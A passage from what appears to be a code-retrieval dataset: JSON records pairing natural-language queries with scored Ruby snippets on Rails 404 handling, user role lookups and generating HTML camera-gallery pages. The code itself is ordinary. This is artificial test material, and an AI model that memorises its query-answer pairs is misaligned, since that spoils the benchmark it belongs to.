"title": "" }, { "docid": "edaf462a58b9e7c25c4dd0219f2fbb82", "score": "0.5931232", "text": "def render_404\n render :text => '404 Error: not found', :status => 404 \n end", "title": "" }, { "docid": "55cb11ca37c1b7aa15ca0b42e9d09cbf", "score": "0.59265745", "text": "def routes_not_found\n respond_to do |f|\n f.html{ render :template => \"errors/404\", :status => 404}\n end\n end", "title": "" }, { "docid": "241e281c5bd1d22ad36f0beb3f607fa9", "score": "0.59143794", "text": "def response_of_file(file)\n File.exists?(file) ? \"200\" : \"Error\"\n end", "title": "" }, { "docid": "036b9b981932ff73d92505406111e22c", "score": "0.5914002", "text": "def page_not_found\n render file: Rails.root.join('public', '404.html'), status: :not_found, layout: false\n end", "title": "" }, { "docid": "655b627e9857226b0c716583a6da4173", "score": "0.591182", "text": "def render_404\n render file: \"#{Rails.root}/public/404.html\", status: 404, layout: false, content_type: 'text/html'\n end", "title": "" }, { "docid": "a3586b3940226b17927fcd3f8898f3f4", "score": "0.5904361", "text": "def index\n redirect_to '/404'\n end", "title": "" }, { "docid": "9e392ef4c35ebd8afe88fb619f576336", "score": "0.5893233", "text": "def what_are_you_looking_for?\n raise Exceptions::NotFound.new(404, 'Not Found; You did not find what you were expecting because it is not here. What are you looking for?')\n end", "title": "" }, { "docid": "b51b3c72efc7c63986578c649a581d64", "score": "0.5880717", "text": "def is404\n (Net::HTTPNotFound === response)\n end", "title": "" }, { "docid": "a9bd1382d9bf2a93052be58d323faad8", "score": "0.5878426", "text": "def file_exists?(path)\n response = self.class.head(File.join('/', path), request_options)\n response.code >= 200 && response.code < 300\n end", "title": "" }, { "docid": "6d5c0fd2ea4abc093f58ecf189534978", "score": "0.58770925", "text": "def render_404\n render file:\"#{Rails.root}/public/404.html\", status:404, layout:false\n end", "title": "" }, { "docid": "bd75acb8813a03de3dedb4b226a4ec86", "score": "0.5875755", "text": "def blank; render :plain => \"Not Found.\", :status => 404 end", "title": "" }, { "docid": "0dc826ba8387e908e282d3a830c7007d", "score": "0.58668387", "text": "def index\n redirect_to '/404'\n end", "title": "" }, { "docid": "0dc826ba8387e908e282d3a830c7007d", "score": "0.58668387", "text": "def index\n redirect_to '/404'\n end", "title": "" }, { "docid": "2bac84bbde94ae8b672722542e389455", "score": "0.58494496", "text": "def render_figgy_404 # rubocop:disable Naming/VariableNumber\n respond_to do |format|\n format.html { render \"errors/not_found\", status: :not_found }\n format.json { head :not_found }\n end\n end", "title": "" }, { "docid": "dd387163cd6ea78b40d241c1376ba8ee", "score": "0.58454996", "text": "def response_not_found\n render status: 404,\n json: {\n source: {\n pointer: request.original_url\n },\n errors: [ { message: \"Not Found\" } ]\n }\n end", "title": "" }, { "docid": "a7a70798ad349a1ec1a0f3e5f9f1ec34", "score": "0.5840402", "text": "def rescue_not_found\n render nothing: true, status: 404\n end", "title": "" }, { "docid": "791b306b13fbef7962f9591a0f9a8207", "score": "0.5827752", "text": "def render_404\n render file: \"public/404.html\", layout: false\n end", "title": "" }, { "docid": "55edc5b4e07c37f3182c099186b1897a", "score": "0.58142424", "text": "def endpoint(path)\n normalized = normalize_path_info(path)\n fullpath = File.join(@root, normalized)\n\n if FileTest.file?(fullpath)\n fullpath\n elsif needs_redirect_to_dir?(fullpath)\n :must_redirect\n elsif FileTest.file?(fullpath_html = \"#{fullpath}.html\")\n fullpath_html\n else\n :not_found\n end\n end", "title": "" }, { "docid": "90559a9f800f3bd89bb6140c702c3d07", "score": "0.58125", "text": "def not_found\n render :template => \"shared/rescues/not_found\", :status => 404 \n end", "title": "" } ]
e051be4b1caf8f2cac1bd763fcf26609
Returns a relation for all roles on a given object.
[ { "docid": "ad3b2daea77843f25cbb5de68ee7c9bf", "score": "0.0", "text": "def on(owner = nil)\n if owner.present?\n where :owner_id => owner.id, :owner_type => owner.class.name\n else\n where :owner_id => nil, :owner_type => nil\n end\n end", "title": "" } ]
[ { "docid": "6253d46d52fd443d6210f3aec9807846", "score": "0.6388311", "text": "def all_roles\n _role_ids_ = (account_groups.map(&:role_ids) + role_ids).flatten.uniq\n Role.where(id: _role_ids_)\n end", "title": "" }, { "docid": "cab8d1f063f65ccb32ef55362b86509c", "score": "0.63427484", "text": "def roles_from_users\n Role.for_resource(self)\n end", "title": "" }, { "docid": "bc1f566ce07ac69e5c25100e61c2fefc", "score": "0.62842554", "text": "def roles_for_user(user)\n role_ids = self.chorus_object_roles.where(:user_id => user.id).map(&:role_id)\n Role.find(role_ids)\n end", "title": "" }, { "docid": "b3eac01bdd22d63106b6acab75e337bb", "score": "0.6251408", "text": "def roles\n # rocking this in memory because eager-loading\n roles = object.paper_roles.select { |role|\n role.user_id == scoped_user.id\n }.map(&:description)\n roles << \"My Paper\" if object.user_id == scoped_user.id\n roles\n end", "title": "" }, { "docid": "f672f1234fe610136bc4853478e63c25", "score": "0.6235972", "text": "def roles_to_resources\n Role\n .where.not(resource_id: current_shared_collection_id)\n .joins(:groups_roles)\n .where(GroupsRole.arel_table[:group_id].in(id))\n end", "title": "" }, { "docid": "ae0a6ccb1eb221c0f47fe2247c3ebc2a", "score": "0.6219818", "text": "def list\n @roles = Role.all(:include => [:groups, :users])\n end", "title": "" }, { "docid": "21c92f9033f48dfcd7ffd1facf446cee", "score": "0.62100196", "text": "def roles\n\t\t\t\tProxy.new connection, 'role-strategy/strategy'\n\t\t\tend", "title": "" }, { "docid": "74c6b1806132bf5aa38df797f246791d", "score": "0.62019724", "text": "def all_roles\n result = Array.new\n \n# for role in self.roles\n# result << role.ancestors_and_self\n# end\n \n for group in self.groups\n result << group.all_roles\n end\n \n result.flatten!\n result.uniq!\n \n return result\n end", "title": "" }, { "docid": "ddffa7fbec6fa5acdc3709f622560b10", "score": "0.6175625", "text": "def roles(reload = false)\n @roles = nil if reload\n @roles ||=\n Role.find_by_sql ['select * from roles where id in ' +\n self.class.role_assigned_cond(':id'),\n {:id => id}]\n end", "title": "" }, { "docid": "74bc8101babcb46257501f29af1fc718", "score": "0.6169132", "text": "def roles\n ::Syncano::QueryBuilder.new(self, ::Syncano::Resources::Role)\n end", "title": "" }, { "docid": "8aaf1a6319ed2d78a4e06398cc94d197", "score": "0.6078039", "text": "def roles\n roles_from_users\n end", "title": "" }, { "docid": "f01d80f577ae51600910cded12d567d3", "score": "0.6055768", "text": "def roles\n @roles = Role.order(\"name\")\n\t@rights = Right.order(\"name\").map {|r| [r.name, r.id] }\n end", "title": "" }, { "docid": "7ba174e6114cfd302fb91d26e742d8cd", "score": "0.5975508", "text": "def roles\n client.user_roles(id)\n end", "title": "" }, { "docid": "7ba174e6114cfd302fb91d26e742d8cd", "score": "0.5975508", "text": "def roles\n client.user_roles(id)\n end", "title": "" }, { "docid": "2847117bf1c2f64d161ba3bae32fcfb4", "score": "0.5967052", "text": "def users\n Role.users id\n end", "title": "" }, { "docid": "fa3e5987b70173dcb870b928190db482", "score": "0.5936104", "text": "def assigned_roles(object)\n assignments.select { |pair|\n pair.first == object\n }.map(&:last)\n end", "title": "" }, { "docid": "92fdee67c3dfcbaa52fcd3c0e6143110", "score": "0.593064", "text": "def the_roles\n roles.each.map{|_r| User::ROLES[_r.to_sym] }\n end", "title": "" }, { "docid": "436022a8942186c10b3eae1ab936b49f", "score": "0.5902214", "text": "def roles\n (properties[:roles] || []).map { |r| r.is_a?(Link) ? r : Link.new(r, nil, client) }\n end", "title": "" }, { "docid": "2bff49e9d7953167da1e02fb06a33551", "score": "0.5893729", "text": "def roles\n self.class.roles.map do |name|\n __send__(name)\n end\n end", "title": "" }, { "docid": "a8086f89736ebfb655935bdef8d53649", "score": "0.5880896", "text": "def relation_all(model)\n validate_model(model)\n model.all\n end", "title": "" }, { "docid": "b25bd77e878aa963279ab38c2e58b74f", "score": "0.58700395", "text": "def pass_on_roles\n r = self.all_roles\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users))\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles))\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users))\n end\n return (r.is_a?(Array) ? r : [r])\n end", "title": "" }, { "docid": "b25bd77e878aa963279ab38c2e58b74f", "score": "0.58700395", "text": "def pass_on_roles\n r = self.all_roles\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users))\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles))\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users))\n end\n return (r.is_a?(Array) ? r : [r])\n end", "title": "" }, { "docid": "3518ace6388c9da7f9c62cc64bc4f981", "score": "0.57965356", "text": "def display_all_roles\n # Interface method\n end", "title": "" }, { "docid": "16faa12ea211c1b378c5ebfee20757ad", "score": "0.5778737", "text": "def find_all_for_role(role)\n roles = role.get_parents\n roles << role\n return find_for_role(roles.collect(&:id))\n end", "title": "" }, { "docid": "9e13b65e03f434ed17bda87e8e7c7fc8", "score": "0.57757515", "text": "def all\n Request::Roles.list.map { |role| new role }\n end", "title": "" }, { "docid": "da2fb56fb80a7932fc35d9673a898538", "score": "0.5744614", "text": "def roles\n Role.group_roles_from_cache(self)\n end", "title": "" }, { "docid": "cc95999bcdc3a9edaf83318699288c06", "score": "0.5742162", "text": "def list\n\n @roles = Role.find(:all, :order => 'name')\n\n end", "title": "" }, { "docid": "d74da076b4da41ce658e4bc81cbfd288", "score": "0.57041013", "text": "def all\n @roles = Array.new\n @connection.deploys.all.each do |deploy|\n deploy.roles.each do |role|\n @roles << role\n end\n end\n @roles\n end", "title": "" }, { "docid": "94b56b74507719cbb689b80053e45899", "score": "0.5699784", "text": "def roles\r\n @roles ||= user_roles.map(&:name)\r\n end", "title": "" }, { "docid": "99aade3dbc52ed7f93bc9b169dedd486", "score": "0.5691533", "text": "def roles\n @users = User.order(\"user_name\").all\n end", "title": "" }, { "docid": "b6386cc126612ca8bc3f7c044c57daf6", "score": "0.56846464", "text": "def roles_dump(o)\n o.all_role.\n select{|role|\n role.fact_type.all_role.size <= 2 &&\n !role.fact_type.is_a?(ActiveFacts::Metamodel::LinkFactType)\n }.\n sort_by{|role|\n other_role = role.fact_type.all_role.select{|r2| r2 != role}[0] || role\n other_role.preferred_role_name(o) + ':' + role.preferred_role_name(other_role.object_type)\n }.each{|role| \n role_dump(role)\n }\n end", "title": "" }, { "docid": "106494ff3437b1b544abeec115675841", "score": "0.56799334", "text": "def all\n @roles = []\n @connection.deploys.all.each do |deploy|\n deploy.roles.each do |role|\n @roles << role\n end\n end\n @roles\n end", "title": "" }, { "docid": "2667ba7b200db9a0f86ce1dd1eebd25f", "score": "0.5663825", "text": "def roles\n Jak.role_klass.where(id: grants.pluck(:role_ids).compact.flatten)\n end", "title": "" }, { "docid": "acc542db1a4ced95fa60a6358276a7dd", "score": "0.5633589", "text": "def roles(force_reload = false)\n unless force_reload\n return @role_list unless @role_list.nil? \n end\n return nil unless self.id\n \n @role_list = GroupRoleList.new({:group_id => self.id})\n return @role_list\n end", "title": "" }, { "docid": "180e6ec1ea0b46ab810feea16d5980fc", "score": "0.56271094", "text": "def each_role(&block)\n unless block_given?\n return enum_for(:each_role, &block)\n end\n\n each_parent_object(Dependency) do |parent|\n yield(parent, parent.roles_of(self))\n end\n end", "title": "" }, { "docid": "af6e1d50acc8c3803e0b005a5f38caba", "score": "0.5615861", "text": "def associated_roles\n data[:associated_roles]\n end", "title": "" }, { "docid": "af6e1d50acc8c3803e0b005a5f38caba", "score": "0.5615861", "text": "def associated_roles\n data[:associated_roles]\n end", "title": "" }, { "docid": "a6825fe4f1a45c73725e61996ba6b3b4", "score": "0.56016004", "text": "def pass_on_roles\n r = self.roles.to_a\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users)).to_a\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles)).to_a\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users)).to_a\n end\n return (r.is_a?(Array) ? r : [r])\n end", "title": "" }, { "docid": "b732535f2d2285fcabf6511a5eb263cf", "score": "0.56000394", "text": "def all(options = {})\n request = if options.delete(:recursive) == false\n options[\"memberships\"] = true\n else\n options[\"all\"] = true\n end\n if filter = options.delete(:filter)\n filter = [filter] unless filter.is_a?(Array)\n options[\"filter\"] = filter.map{ |obj| cast(obj, :roleid) }\n end\n\n result = JSON.parse(self[options_querystring options].get)\n if result.is_a?(Hash) && ( count = result['count'] )\n count\n else\n host = Conjur::Authz::API.host\n result.collect do |item|\n if item.is_a?(String)\n Role.new(host, self.options)[Conjur::API.parse_role_id(item).join('/')]\n else\n RoleGrant.parse_from_json(item, self.options)\n end\n end\n end\n end", "title": "" }, { "docid": "e20549a06d3b76d270d77041223e7783", "score": "0.55886066", "text": "def all\n data = []\n conn = @ec2_main.environment.iam_connection\n if conn != nil\n begin\n response = conn.list_roles()\n if response.status == 200\n data = response.body[\"Roles\"]\n end\n rescue\n puts \"ERROR: getting all roles #{$!}\"\n end\n end\n return data\n end", "title": "" }, { "docid": "4958d31246717e2af8ec7448938d7a4e", "score": "0.5553939", "text": "def roles\n self.dig_for_array(\"roles\")\n end", "title": "" }, { "docid": "0f271b4fa6670599519f7c0944d3e4e1", "score": "0.5520089", "text": "def relationships\n model.relationships(repository.name)\n end", "title": "" }, { "docid": "3d9d38c2ab39ee66b98df9fec73b7e84", "score": "0.5517507", "text": "def roles\n tmp = client.get @json['user']['links']['roles']\n tmp['associatedRoles']['roles'].pmap do |role_uri|\n role = client.get role_uri\n client.factory.create(GoodData::ProjectRole, role)\n end\n end", "title": "" }, { "docid": "d2d6702a726997c9929098605bacb417", "score": "0.5513757", "text": "def roles\n groups.find(:all, :conditions => {:context => Group::GroupType::ROLE})\n end", "title": "" }, { "docid": "661cea6444f815436b248c7f7947ab98", "score": "0.5454334", "text": "def list_relationships\n end", "title": "" }, { "docid": "10b6a0fb5679cb381197f96e2510dc7f", "score": "0.54444826", "text": "def list\n # We don't use pagination here since we want to display the roles in a\n # nice tree. Additionally, there won't be more than ~100 roles in a\n # normal scenario anyway - far less!\n @roles = Role.find(:all)\n end", "title": "" }, { "docid": "f03ecb7f0ba9cc9a9872f57a724905f2", "score": "0.54373777", "text": "def role_list \n @role_list ||= begin\n (store.display_roles | group_store.display_roles)\n end\n end", "title": "" }, { "docid": "04ee4b1974ed722c8ec557d1537038ff", "score": "0.54232556", "text": "def roles\n return [] if !subject.respond_to?(roles_list_meth) || roles_of(subject).blank?\n roles_of(subject).flatten\n end", "title": "" }, { "docid": "5fa15c44ae9ab73354aacbddfdfea861", "score": "0.541026", "text": "def roles_with_hierarchy_for(user)\n flatten_roles(roles_for(user))\n end", "title": "" }, { "docid": "ce1e8c58d486aa966b9e34fce8f5056d", "score": "0.540203", "text": "def roles\n Role.all.select do |role|\n role.movie == self\n end\n end", "title": "" }, { "docid": "4235cb71db1571ec4045b1c5f635c1f5", "score": "0.5385673", "text": "def index\n return unless check_permission\n\n @roles = Role.left_joins(:user)\n end", "title": "" }, { "docid": "f1acc117c4123ac2090228edaf2d60bc", "score": "0.53837126", "text": "def roles\n roles_as_editor + roles_as_reviewer + role_as_admin\n end", "title": "" }, { "docid": "454e38732a402fa8470169905f11ea13", "score": "0.53764176", "text": "def users\n Section.find_roles.pluck(:name).inject(Array.new) do |result, role|\n result += User.with_role(role, self)\n end.uniq\n end", "title": "" }, { "docid": "323b831e9ea7cd043dd3b963ba8b2b72", "score": "0.53759205", "text": "def relations; enum_relations.to_a end", "title": "" }, { "docid": "83d646db3eb9b1fe784fbb8b21247289", "score": "0.53743213", "text": "def roles_for(context=nil, force_context=nil)\n auth_scope do\n force_context ||= config.force_context\n context = Zuul::Context.parse(context)\n if force_context\n return subject_roles_for(context)\n else\n return subject_roles_within(context)\n end\n end\n end", "title": "" }, { "docid": "31d7f37c55e2483411702e255204ff6e", "score": "0.5361396", "text": "def roles\n Role.joins(store_roles: [:products, :store]).where(\"products.id = ?\", id).group_by(\"stores.name\")\n end", "title": "" }, { "docid": "c1b96fd31b8a976d3326256bda0a3cee", "score": "0.53599536", "text": "def roles\n users.map { |item| item['roles'] }.flatten.uniq\n end", "title": "" }, { "docid": "0d0a2e2bef36ee53527cf206cb91ba12", "score": "0.5356541", "text": "def list_review_roles\n\n @review_roles = Role.get_review_roles\n\n end", "title": "" }, { "docid": "40e241d5dfafd0524bdb7ceb33577e1d", "score": "0.5354215", "text": "def get_user_roles\n @roles = @user.roles.pluck(:name)\n render json: @roles\n end", "title": "" }, { "docid": "ac559b8316303bc12b2284934660ffc1", "score": "0.5350864", "text": "def role_ids\n roles.pluck(:id)\n end", "title": "" }, { "docid": "7aeed782cb148feb8e8903499bc5e411", "score": "0.5347109", "text": "def find_roles *roles\n role_model.where(:name => roles.flatten)\n end", "title": "" }, { "docid": "9f50ddc07222363b720e78e0e7a9cb5b", "score": "0.53430736", "text": "def all_users\r\n result = []\r\n\r\n self.descendants_and_self.each do |role|\r\n if role == self\r\n result << role.users \r\n else\r\n result << role.all_users\r\n end\r\n end\r\n self.all_groups.each { |group| result << group.all_users }\r\n result.flatten!\r\n result.uniq!\r\n return result\r\n end", "title": "" }, { "docid": "019607ae9e38e13edbc0cbe24004f9ca", "score": "0.5336539", "text": "def get_roles_list()\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role'\n get_request(resource_path, query_parameters, nil)\n end", "title": "" }, { "docid": "b52d898f6cadb8141d08990eaf506924", "score": "0.53316855", "text": "def my_roles\n @my_roles ||= self.roles.map {|r| r.name}.flatten.freeze\n end", "title": "" }, { "docid": "eac5af19c739de9e718d06e9eacf01ba", "score": "0.5330705", "text": "def assignment_roles\n AssignmentRole.all\n end", "title": "" }, { "docid": "8f7575bb741c9ef2736ba4914e1866f2", "score": "0.5321204", "text": "def roles\n @resource_roles\n end", "title": "" }, { "docid": "c2c8522b4cb1974cb23c78c46ef0c018", "score": "0.5316764", "text": "def get_role_of(object)\n return has_role_with(object)\n end", "title": "" }, { "docid": "6eeeb4a72c56951535ff29dbf63e9849", "score": "0.53166693", "text": "def show_roles_and_users\n chorus_object_roles.map(&:role).uniq.map do |r|\n [r.name, users_for_role(r).map(&:username)]\n end\n end", "title": "" }, { "docid": "c819a62e2f2cc685f238e903145155da", "score": "0.530244", "text": "def relations\n self.class.relations\n end", "title": "" }, { "docid": "25f1bcb95de81a8fbabcf76652a16102", "score": "0.52957076", "text": "def role_memberships\n if self.member?\n self.memberships\n else\n self.role_clubs.map{ |c| c.memberships }.flatten\n end\n end", "title": "" }, { "docid": "f0ffeb00eb6d77ed41d7edcd5df59038", "score": "0.5282948", "text": "def roles(**opt)\n roles = present? && object.role_list || []\n html_tag(:ul, opt) do\n roles.map do |role|\n html_tag(:li, role)\n end\n end\n end", "title": "" }, { "docid": "8851fd209aa9f3b752d848633bddada0", "score": "0.528146", "text": "def permissions( force_reload = false )\n\n # Two levels of joins here, so can't use has_many :through\n if force_reload\n @permissions = nil \n @permissions_by_class_and_op = {}\n end\n\n cond_str = 'role_id in ' + self.class.role_assigned_cond( '?' )\n if !instance_variable_defined?(\"@permissions\") || @permissions.nil?\n @permissions ||= Permission.where([cond_str, self]).to_a\n end\n\n return @permissions\n end", "title": "" }, { "docid": "4e8664cae4be29ddeae5059f8abf48d8", "score": "0.5274977", "text": "def all_permissions\n permissions = Array.new\n \n all_roles.each do |role|\n permissions.concat(role.permissions)\n end\n \n return permissions\n end", "title": "" }, { "docid": "260d12209b88381709cb719baf34574d", "score": "0.5274187", "text": "def assigned_roles\n to_array_if_not(self.roles)\n end", "title": "" }, { "docid": "4fc2f6ad552228f71a6f332f3336af3b", "score": "0.5273387", "text": "def all\n @data_adapter.relations\n end", "title": "" }, { "docid": "d758520fd1450ac85ce2b4efb78245b9", "score": "0.52711433", "text": "def find_all_by_role(role_or_id_or_name)\n role_id = case role_or_id_or_name\n when ::Role\n role_or_id_or_name[:id]\n when Symbol\n ::Role[role_or_id_or_name][:id]\n else\n role_or_id_or_name\n end\n\n ::User.with_role(role_id)\n end", "title": "" }, { "docid": "fbeac39490004b91cd9aace7c2c77e8b", "score": "0.5268362", "text": "def roles_for(section)\n roles = []\n Section.find_roles.pluck(:name).uniq.each do |role|\n roles += [role] if self.has_role?(role, section)\n end\n roles\n end", "title": "" }, { "docid": "6b18db6bc92d87d0781b92e5c77818bb", "score": "0.52682006", "text": "def query_roles(options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.query_roles(@cluster, policy)\n end", "title": "" }, { "docid": "f18fe4e93e50990653e66af5820b5aca", "score": "0.52652967", "text": "def full_roles\n r = ''\n if roles\n roles.each do |role|\n r += (role.name+\" \")\n puts role.name\n end\n end\n r\n end", "title": "" }, { "docid": "84087f1f4383aa7706b9a45c0544307d", "score": "0.52520514", "text": "def relations\n _relations\n end", "title": "" }, { "docid": "84087f1f4383aa7706b9a45c0544307d", "score": "0.52520514", "text": "def relations\n _relations\n end", "title": "" }, { "docid": "a3b22c1e2bc8b98d338225fd8c4121ae", "score": "0.5234638", "text": "def all_permissions\n return permissions unless role\n (permissions + role.permissions).uniq\n end", "title": "" }, { "docid": "ac6dad3d7a022a6243ae7cbb5da82039", "score": "0.5234113", "text": "def authorizations_for(role)\n auth_roles = roles.find(:all, :joins => :role, :include => :authorizations, :conditions => { \"roles.name\" => role.to_s })\n return nil if auth_roles.empty?\n auth_roles.collect(&:authorizations).flatten.compact\n end", "title": "" }, { "docid": "75a259514b6256907b10e7ba2698e86e", "score": "0.5229949", "text": "def subject_roles_for(context)\n auth_scope do\n return role_class.joins(role_subject_plural_key).where(\"\n #{role_subjects_table_name}.#{subject_foreign_key} = ?\n AND #{role_subjects_table_name}.context_type #{sql_is_or_equal(context.class_name)} ?\n AND #{role_subjects_table_name}.context_id #{sql_is_or_equal(context.id)} ?\",\n id,\n context.class_name,\n context.id)\n end\n end", "title": "" }, { "docid": "f50bee6dcf6543d8981c275bf0f103d4", "score": "0.52244467", "text": "def accessible_roles\n #@accessible_roles = Role.accessible_by(current_ability,:read)\n @accessible_roles = User::ROLES\n end", "title": "" }, { "docid": "df775565f32ac445be6213e0ef5005ff", "score": "0.52224785", "text": "def role_select\n @@Roles.list\n end", "title": "" }, { "docid": "f5564689a9423ee2e07e7c483a157e75", "score": "0.51930493", "text": "def index\n @users_roles = UsersRole.all\n end", "title": "" }, { "docid": "3ce99aa2ae5b0fadb64e93c40dc7d432", "score": "0.5191148", "text": "def get_roles\n Role.all.select {|role| role.character == self}\n end", "title": "" }, { "docid": "208f4efdde7de301bfb6f011642c3689", "score": "0.51833737", "text": "def roles_list(role = nil)\n self.role_symbols\n end", "title": "" }, { "docid": "4d019074f59fd88ba70083aef1dc21bc", "score": "0.51783836", "text": "def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability,:read)\n end", "title": "" }, { "docid": "4d019074f59fd88ba70083aef1dc21bc", "score": "0.51783836", "text": "def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability,:read)\n end", "title": "" }, { "docid": "4d019074f59fd88ba70083aef1dc21bc", "score": "0.51783836", "text": "def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability,:read)\n end", "title": "" }, { "docid": "4d019074f59fd88ba70083aef1dc21bc", "score": "0.51783836", "text": "def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability,:read)\n end", "title": "" }, { "docid": "2cd6e9a087bfffe1f1106a482cbf896d", "score": "0.5178094", "text": "def roles_dedicated\n find_related_frbr_objects( :is_dedicated_to, :which_roles?) \n end", "title": "" }, { "docid": "4d019074f59fd88ba70083aef1dc21bc", "score": "0.51756513", "text": "def accessible_roles\n @accessible_roles = Role.accessible_by(current_ability,:read)\n end", "title": "" }, { "docid": "027504f17a63a4b0f1aca79cd8cadb53", "score": "0.5172281", "text": "def list\n rolegroup_subject.rolegroup_list\n end", "title": "" }, { "docid": "7c05a2a08c51ca5e0351420fa82428f8", "score": "0.51699156", "text": "def get_roles\n result = {}\n roles.each do |role|\n resource = if role.resource_type == 'Conference'\n Conference.find(role.resource_id).short_title\n elsif role.resource_type == 'Track'\n Track.find(role.resource_id).name\n end\n if result[role.name].nil?\n result[role.name] = [resource]\n else\n result[role.name] << resource\n end\n end\n result\n end", "title": "" }, { "docid": "2f3866ba3d3b274180ad7a1d72dc2288", "score": "0.51488817", "text": "def roles\n # we can't use abilities as those are not defined when creating a new operator that is not yet saved\n #result = abilities.collect(&:name)\n authorizations.collect{|auth| auth.ability.try(:name)}\n end", "title": "" }, { "docid": "2f3866ba3d3b274180ad7a1d72dc2288", "score": "0.51488817", "text": "def roles\n # we can't use abilities as those are not defined when creating a new operator that is not yet saved\n #result = abilities.collect(&:name)\n authorizations.collect{|auth| auth.ability.try(:name)}\n end", "title": "" }, { "docid": "5a2d856e2b13653ea32ef5afeb441c95", "score": "0.5148493", "text": "def index\n @roles = System::Role.all\n end", "title": "" }, { "docid": "0f4ce6b56d0c1063f3c2aaac24fe006f", "score": "0.514321", "text": "def get_available_roles \n ids = Array.new\n \n current = self.parent_id\n while current\n role = Role.find(current)\n if role\n if not ids.index(role.id)\n ids << role.id\n current = role.parent_id\n end \n end \n end\n return ids\n end", "title": "" } ]
96c3fd9f93b8c12d9cc0b369eb85529f
Writes an html file for a camera make with the first 10 works of that make and navigation to allow the user to browse to the index page and to each make
[ { "docid": "03d9c2e29b2696ba28da70f04c0e89c6", "score": "0.76550895", "text": "def write_make(make, cameras)\n @title = make\n\n @thumbnail_urls = cameras.slice(0, 10).map do |camera|\n camera[:image_url]\n end\n\n @models = extract_models(cameras)\n\n # Create the make subdirectory if it doesn't exist already\n make_dir = \"#{@out_dir}/#{sanitize_filename(make)}\"\n Dir.mkdir(make_dir) unless File.exist?(make_dir)\n\n make_page = make_dir + '/index.html'\n File.open(make_page, 'w') do |f|\n template = File.open(\"templates/make.html.erb\").read\n erb = ERB.new(template, 0, '>')\n f.write(erb.result(binding))\n end\n end", "title": "" } ]
[ { "docid": "5a02c7c89538797fc04bf8d49f52c32a", "score": "0.7375761", "text": "def write_index(cameras)\n @title = \"Camera Index\"\n # order wasn't specified so just use the order they came in\n @thumbnail_urls = cameras.slice(0, 10).map do |camera|\n camera[:image_url]\n end\n\n @makes = extract_makes(cameras)\n\n index_page = @out_dir + '/index.html'\n File.open(index_page, 'w') do |f|\n template = File.open(\"templates/index.html.erb\").read\n erb = ERB.new(template, 0, '>')\n f.write(erb.result(binding))\n end\n end", "title": "" }, { "docid": "bd85003552274e75beaac3bc0e0e215c", "score": "0.6755487", "text": "def write_model(make, model, cameras)\n @title = make + ' - ' + model\n @make = make\n\n @thumbnail_urls = cameras.map do |camera|\n camera[:image_url]\n end\n\n # Create the make subdirectory if it doesn't exist already\n make_dir = \"#{@out_dir}/#{sanitize_filename(make)}\"\n Dir.mkdir(make_dir) unless File.exist?(make_dir)\n\n model_page = \"#{make_dir}/#{sanitize_filename(model)}.html\"\n File.open(model_page, 'w') do |f|\n template = File.open(\"templates/model.html.erb\").read\n erb = ERB.new(template, 0, '>')\n f.write(erb.result(binding))\n end\n end", "title": "" }, { "docid": "4777d784b889949cfabbb0ba8b6586bb", "score": "0.6730766", "text": "def buid_web_page(data)\n photos = data[\"photos\"].map{|x| x['img_src']} #buscando las url de las fotos en el hash\n html = \"\"\n photos.each do |photo|\n html += \"\\n\\t\\t\\t<li><img src=\\\"#{photo}\\\"><li>\" #generando los codigo html para la pagina\n end\nindex = topage()+ html+ botompage() #generando el orden del codigo para crear el index\nFile.write('indexforma2.html', index)#generando los el archivo html\n# puts index\nend", "title": "" }, { "docid": "6b2d1a34c30410cdc185c8783b67b4de", "score": "0.6565315", "text": "def buid_web_page(data)\n htmltop = \"<html>\\n<head>\\n<link rel='stylesheet' href='style.css'>\\n</head>\\n<body>\\n\\t<header>\\n\\t\\t<h1>IMAGENES DE LA NASA</h1>\\n\\t</header>\\n\\t<section>\\n\\t\\t<ul> \" #generando el top de pagina.\n photos = data[\"photos\"].map{|x| x['img_src']} \n html = \"\"\n photos.each do |photo|\n html += \"\\n\\t\\t\\t<li><img src=\\\"#{photo}\\\"><li>\" #generando codigo html junto a las url de las imagenes coseguida desde la api\n end\n htmlbotom= \"\\n\\t\\t</ul>\\n\\t</section>\\n</body>\\n</html>\" #generando en botom de la pagina\n index = htmltop + html + htmlbotom #ordenando las variables para el orden de la pagina\n File.write('index.html', index)\nend", "title": "" }, { "docid": "58c32545235a88d6e558c7b282361fdf", "score": "0.64948016", "text": "def render_camera_makes\n make_names.map do |make|\n @title = build_title(\"Camera maker #{make}\")\n @thumbnails = works_with_make(make).first(10)\n @navigation = model_names(make)\n {html: render(:make), filename: slug(make)}\n end\n end", "title": "" }, { "docid": "c9727c0bfa87fad51a595f5650b5ffa5", "score": "0.63730437", "text": "def to_html(filepath=File.join(@savepath, 'sra' + Time.now.to_i.to_s))\n \n # save the image files to a file directory.\n # name the sub-directory using the date and time?\n\n imgpath = File.join(filepath, 'images')\n csspath = File.join(filepath, 'css')\n \n [filepath, imgpath, csspath].each {|x| FileUtils.mkdir x}\n\n @steps.each.with_index do |x, i|\n \n File.open(File.join(imgpath, \"screenshot#{i}.jpg\" ), 'wb') \\\n {|f| f.write(x[:screenshot]) }\n\n end\n \n\n rows = @steps.map.with_index do |x, i|\n\nli = \"\n li\n markdown:\n #{x[:user_comment]}\n \n ![](images/screenshot#{i}.jpg)\n\" \n \n end\n\n@sliml=<<EOF\nhtml\n head\n title #{@title}: #{@steps.length} Steps (with Pictures) \n link rel='stylesheet' type='text/css' href='css/layout.css' media='screen, projection, tv'\n link rel='stylesheet' type='text/css' href='css/style.css' media='screen, projection, tv'\n link rel='stylesheet' type='text/css' href='css/print.css' 